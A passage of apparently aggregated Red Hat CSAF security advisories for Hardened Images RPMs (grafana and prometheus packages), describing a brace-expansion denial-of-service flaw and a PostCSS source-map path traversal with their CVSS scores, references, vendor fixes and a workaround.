"category": "product_version",
"name": "prometheus3-5-main@x86_64",
"product": {
"name": "prometheus3-5-main@x86_64",
"product_id": "prometheus3-5-main@x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/prometheus3.5@3.5.5-0.7.hum1?arch=x86_64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-x86_64-rpms"
}
}
}
],
"category": "architecture",
"name": "x86_64"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "prometheus3-5-main@aarch64 as a component of Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images:prometheus3-5-main@aarch64"
},
"product_reference": "prometheus3-5-main@aarch64",
"relates_to_product_reference": "Red Hat Hardened Images"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "prometheus3-5-main@src as a component of Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images:prometheus3-5-main@src"
},
"product_reference": "prometheus3-5-main@src",
"relates_to_product_reference": "Red Hat Hardened Images"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "prometheus3-5-main@x86_64 as a component of Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images:prometheus3-5-main@x86_64"
},
"product_reference": "prometheus3-5-main@x86_64",
"relates_to_product_reference": "Red Hat Hardened Images"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-69153",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"discovery_date": "2026-08-03T18:01:01.506065+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2510719"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in PostCSS. A remote attacker can exploit this vulnerability by providing a specially crafted sourceMappingURL when a specific configuration (the \u0027from\u0027 parameter) is not set. This can cause the application to read and expose unintended source-map files, potentially revealing sensitive information about the application\u0027s source code.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "postcss: PostCSS: Information disclosure via crafted sourceMappingURL",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Red Hat rates this flaw as Moderate because the information disclosed is limited to files with a .map extension. Source map files may contain source code paths and content, but the attacker cannot read arbitrary files on the system. Exploitation requires the application to process attacker-controlled CSS through PostCSS on the server side.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Hardened Images:prometheus3-5-main@aarch64",
"Red Hat Hardened Images:prometheus3-5-main@src",
"Red Hat Hardened Images:prometheus3-5-main@x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-69153"
},
{
"category": "external",
"summary": "RHBZ#2510719",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510719"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-69153",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69153"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69153",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69153"
},
{
"category": "external",
"summary": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8",
"url": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8"
},
{
"category": "external",
"summary": "https://github.com/postcss/postcss/releases/tag/8.5.19",
"url": "https://github.com/postcss/postcss/releases/tag/8.5.19"
},
{
"category": "external",
"summary": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp",
"url": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp"
}
],
"release_date": "2026-08-03T16:56:25.733000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-08-04T12:45:07+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
"product_ids": [
"Red Hat Hardened Images:prometheus3-5-main@aarch64",
"Red Hat Hardened Images:prometheus3-5-main@src",
"Red Hat Hardened Images:prometheus3-5-main@x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:50070"
},
{
"category": "workaround",
"details": "Pass map: false when invoking PostCSS to disable source map auto-loading. This prevents the path traversal from being triggered, though it removes source map support entirely.",
"product_ids": [
"Red Hat Hardened Images:prometheus3-5-main@aarch64",
"Red Hat Hardened Images:prometheus3-5-main@src",
"Red Hat Hardened Images:prometheus3-5-main@x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Hardened Images:prometheus3-5-main@aarch64",
"Red Hat Hardened Images:prometheus3-5-main@src",
"Red Hat Hardened Images:prometheus3-5-main@x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "postcss: PostCSS: Information disclosure via crafted sourceMappingURL"
}
]
}
RHSA-2026:50079
Vulnerability from csaf_redhat - Published: 2026-08-04 13:03 - Updated: 2026-08-09 11:11Summary
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
Severity
Important
Notes
Topic: An update for Red Hat Hardened Images RPMs is now available.
Details: This update includes the following RPMs:
grafana13.1:
* grafana13.1-13.1.1-0.5.1.hum1 (aarch64, x86_64)
* grafana13.1-13.1.1-0.5.1.hum1.src (src)
Security Fix(es):
grafana13.1:
* CVE-2026-69152
* CVE-2026-69153
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in the brace-expansion library. An attacker can provide specially crafted input to the `expand()` function, which fails to apply length restrictions when creating intermediate arrays. This oversight allows the attacker to exhaust system memory or block the event loop, leading to a Denial of Service (DoS). This vulnerability bypasses a previous mitigation for CVE-2026-14257.
7.5 (High)
Affected products
Fixed
3 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@aarch64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@src | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@x86_64 | — |
Vendor Fix
fix
|
Threats
Impact
Important
A flaw was found in PostCSS. A remote attacker can exploit this vulnerability by providing a specially crafted sourceMappingURL when a specific configuration (the 'from' parameter) is not set. This can cause the application to read and expose unintended source-map files, potentially revealing sensitive information about the application's source code.
7.5 (High)
Affected products
Fixed
3 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@aarch64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@x86_64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
References
22 references
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "An update for Red Hat Hardened Images RPMs is now available.",
"title": "Topic"
},
{
"category": "general",
"text": "This update includes the following RPMs:\n\ngrafana13.1:\n * grafana13.1-13.1.1-0.5.1.hum1 (aarch64, x86_64)\n * grafana13.1-13.1.1-0.5.1.hum1.src (src)\n\nSecurity Fix(es):\n\ngrafana13.1:\n * CVE-2026-69152\n * CVE-2026-69153",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:50079",
"url": "https://access.redhat.com/errata/RHSA-2026:50079"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-69152",
"url": "https://access.redhat.com/security/cve/CVE-2026-69152"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-69153",
"url": "https://access.redhat.com/security/cve/CVE-2026-69153"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/",
"url": "https://access.redhat.com/security/updates/classification/"
},
{
"category": "external",
"summary": "https://images.redhat.com/",
"url": "https://images.redhat.com/"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50079.json"
}
],
"title": "Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update",
"tracking": {
"current_release_date": "2026-08-09T11:11:18+00:00",
"generator": {
"date": "2026-08-09T11:11:18+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.12"
}
},
"id": "RHSA-2026:50079",
"initial_release_date": "2026-08-04T13:03:38+00:00",
"revision_history": [
{
"date": "2026-08-04T13:03:38+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-08-08T04:36:23+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-08-09T11:11:18+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat Hardened Images",
"product": {
"name": "Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:hummingbird:1"
}
}
}
],
"category": "product_family",
"name": "Red Hat Hardened Images"
},
{
"branches": [
{
"category": "product_version",
"name": "grafana13-1-main@aarch64",
"product": {
"name": "grafana13-1-main@aarch64",
"product_id": "grafana13-1-main@aarch64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/grafana13.1@13.1.1-0.5.1.hum1?arch=aarch64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-aarch64-rpms"
}
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "grafana13-1-main@src",
"product": {
"name": "grafana13-1-main@src",
"product_id": "grafana13-1-main@src",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/grafana13.1@13.1.1-0.5.1.hum1?arch=src\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-source-rpms"
}
}
}
],
"category": "architecture",
"name": "src"
},
{
"branches": [
{
"category": "product_version",
"name": "grafana13-1-main@x86_64",
"product": {
"name": "grafana13-1-main@x86_64",
"product_id": "grafana13-1-main@x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/grafana13.1@13.1.1-0.5.1.hum1?arch=x86_64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-x86_64-rpms"
}
}
}
],
"category": "architecture",
"name": "x86_64"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "grafana13-1-main@aarch64 as a component of Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images:grafana13-1-main@aarch64"
},
"product_reference": "grafana13-1-main@aarch64",
"relates_to_product_reference": "Red Hat Hardened Images"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "grafana13-1-main@src as a component of Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images:grafana13-1-main@src"
},
"product_reference": "grafana13-1-main@src",
"relates_to_product_reference": "Red Hat Hardened Images"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "grafana13-1-main@x86_64 as a component of Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images:grafana13-1-main@x86_64"
},
"product_reference": "grafana13-1-main@x86_64",
"relates_to_product_reference": "Red Hat Hardened Images"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-69152",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-08-03T18:01:13.566423+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2510722"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the brace-expansion library. An attacker can provide specially crafted input to the `expand()` function, which fails to apply length restrictions when creating intermediate arrays. This oversight allows the attacker to exhaust system memory or block the event loop, leading to a Denial of Service (DoS). This vulnerability bypasses a previous mitigation for CVE-2026-14257.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "brace-expansion: brace-expansion: Denial of Service via unbounded intermediate arrays",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-69152"
},
{
"category": "external",
"summary": "RHBZ#2510722",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510722"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-69152",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69152"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69152",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69152"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895"
}
],
"release_date": "2026-08-03T16:33:36.324000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-08-04T13:03:38+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
"product_ids": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:50079"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "brace-expansion: brace-expansion: Denial of Service via unbounded intermediate arrays"
},
{
"cve": "CVE-2026-69153",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"discovery_date": "2026-08-03T18:01:01.506065+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2510719"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in PostCSS. A remote attacker can exploit this vulnerability by providing a specially crafted sourceMappingURL when a specific configuration (the \u0027from\u0027 parameter) is not set. This can cause the application to read and expose unintended source-map files, potentially revealing sensitive information about the application\u0027s source code.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "postcss: PostCSS: Information disclosure via crafted sourceMappingURL",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Red Hat rates this flaw as Moderate because the information disclosed is limited to files with a .map extension. Source map files may contain source code paths and content, but the attacker cannot read arbitrary files on the system. Exploitation requires the application to process attacker-controlled CSS through PostCSS on the server side.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-69153"
},
{
"category": "external",
"summary": "RHBZ#2510719",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510719"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-69153",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69153"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69153",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69153"
},
{
"category": "external",
"summary": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8",
"url": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8"
},
{
"category": "external",
"summary": "https://github.com/postcss/postcss/releases/tag/8.5.19",
"url": "https://github.com/postcss/postcss/releases/tag/8.5.19"
},
{
"category": "external",
"summary": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp",
"url": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp"
}
],
"release_date": "2026-08-03T16:56:25.733000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-08-04T13:03:38+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
"product_ids": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:50079"
},
{
"category": "workaround",
"details": "Pass map: false when invoking PostCSS to disable source map auto-loading. This prevents the path traversal from being triggered, though it removes source map support entirely.",
"product_ids": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "postcss: PostCSS: Information disclosure via crafted sourceMappingURL"
}
]
}
RHSA-2026:50287
Vulnerability from csaf_redhat - Published: 2026-08-04 16:47 - Updated: 2026-08-09 08:27Summary
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
Severity
Important
Notes
Topic: An update for Red Hat Hardened Images RPMs is now available.
Details: This update includes the following RPMs:
prometheus3.13:
* prometheus3.13-3.13.2-0.2.hum1 (aarch64, x86_64)
* prometheus3.13-3.13.2-0.2.hum1.src (src)
Security Fix(es):
prometheus3.13:
* CVE-2026-69153
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in PostCSS. A remote attacker can exploit this vulnerability by providing a specially crafted sourceMappingURL when a specific configuration (the 'from' parameter) is not set. This can cause the application to read and expose unintended source-map files, potentially revealing sensitive information about the application's source code.
7.5 (High)
Affected products
Fixed
3 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Hardened Images:prometheus3-13-main@aarch64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Hardened Images:prometheus3-13-main@src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Hardened Images:prometheus3-13-main@x86_64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
References
12 references
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "An update for Red Hat Hardened Images RPMs is now available.",
"title": "Topic"
},
{
"category": "general",
"text": "This update includes the following RPMs:\n\nprometheus3.13:\n * prometheus3.13-3.13.2-0.2.hum1 (aarch64, x86_64)\n * prometheus3.13-3.13.2-0.2.hum1.src (src)\n\nSecurity Fix(es):\n\nprometheus3.13:\n * CVE-2026-69153",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:50287",
"url": "https://access.redhat.com/errata/RHSA-2026:50287"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-69153",
"url": "https://access.redhat.com/security/cve/CVE-2026-69153"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/",
"url": "https://access.redhat.com/security/updates/classification/"
},
{
"category": "external",
"summary": "https://images.redhat.com/",
"url": "https://images.redhat.com/"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50287.json"
}
],
"title": "Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update",
"tracking": {
"current_release_date": "2026-08-09T08:27:25+00:00",
"generator": {
"date": "2026-08-09T08:27:25+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.12"
}
},
"id": "RHSA-2026:50287",
"initial_release_date": "2026-08-04T16:47:41+00:00",
"revision_history": [
{
"date": "2026-08-04T16:47:41+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-08-08T04:36:23+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-08-09T08:27:25+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat Hardened Images",
"product": {
"name": "Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:hummingbird:1"
}
}
}
],
"category": "product_family",
"name": "Red Hat Hardened Images"
},
{
"branches": [
{
"category": "product_version",
"name": "prometheus3-13-main@aarch64",
"product": {
"name": "prometheus3-13-main@aarch64",
"product_id": "prometheus3-13-main@aarch64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/prometheus3.13@3.13.2-0.2.hum1?arch=aarch64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-aarch64-rpms"
}
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "prometheus3-13-main@src",
"product": {
"name": "prometheus3-13-main@src",
"product_id": "prometheus3-13-main@src",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/prometheus3.13@3.13.2-0.2.hum1?arch=src\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-source-rpms"
}
}
}
],
"category": "architecture",
"name": "src"
},
{
"branches": [
{
"category": "product_version",
"name": "prometheus3-13-main@x86_64",
"product": {
"name": "prometheus3-13-main@x86_64",
"product_id": "prometheus3-13-main@x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/prometheus3.13@3.13.2-0.2.hum1?arch=x86_64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-x86_64-rpms"
}
}
}
],
"category": "architecture",
"name": "x86_64"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "prometheus3-13-main@aarch64 as a component of Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images:prometheus3-13-main@aarch64"
},
"product_reference": "prometheus3-13-main@aarch64",
"relates_to_product_reference": "Red Hat Hardened Images"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "prometheus3-13-main@src as a component of Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images:prometheus3-13-main@src"
},
"product_reference": "prometheus3-13-main@src",
"relates_to_product_reference": "Red Hat Hardened Images"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "prometheus3-13-main@x86_64 as a component of Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images:prometheus3-13-main@x86_64"
},
"product_reference": "prometheus3-13-main@x86_64",
"relates_to_product_reference": "Red Hat Hardened Images"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-69153",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"discovery_date": "2026-08-03T18:01:01.506065+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2510719"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in PostCSS. A remote attacker can exploit this vulnerability by providing a specially crafted sourceMappingURL when a specific configuration (the \u0027from\u0027 parameter) is not set. This can cause the application to read and expose unintended source-map files, potentially revealing sensitive information about the application\u0027s source code.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "postcss: PostCSS: Information disclosure via crafted sourceMappingURL",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Red Hat rates this flaw as Moderate because the information disclosed is limited to files with a .map extension. Source map files may contain source code paths and content, but the attacker cannot read arbitrary files on the system. Exploitation requires the application to process attacker-controlled CSS through PostCSS on the server side.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Hardened Images:prometheus3-13-main@aarch64",
"Red Hat Hardened Images:prometheus3-13-main@src",
"Red Hat Hardened Images:prometheus3-13-main@x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-69153"
},
{
"category": "external",
"summary": "RHBZ#2510719",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510719"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-69153",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69153"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69153",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69153"
},
{
"category": "external",
"summary": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8",
"url": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8"
},
{
"category": "external",
"summary": "https://github.com/postcss/postcss/releases/tag/8.5.19",
"url": "https://github.com/postcss/postcss/releases/tag/8.5.19"
},
{
"category": "external",
"summary": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp",
"url": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp"
}
],
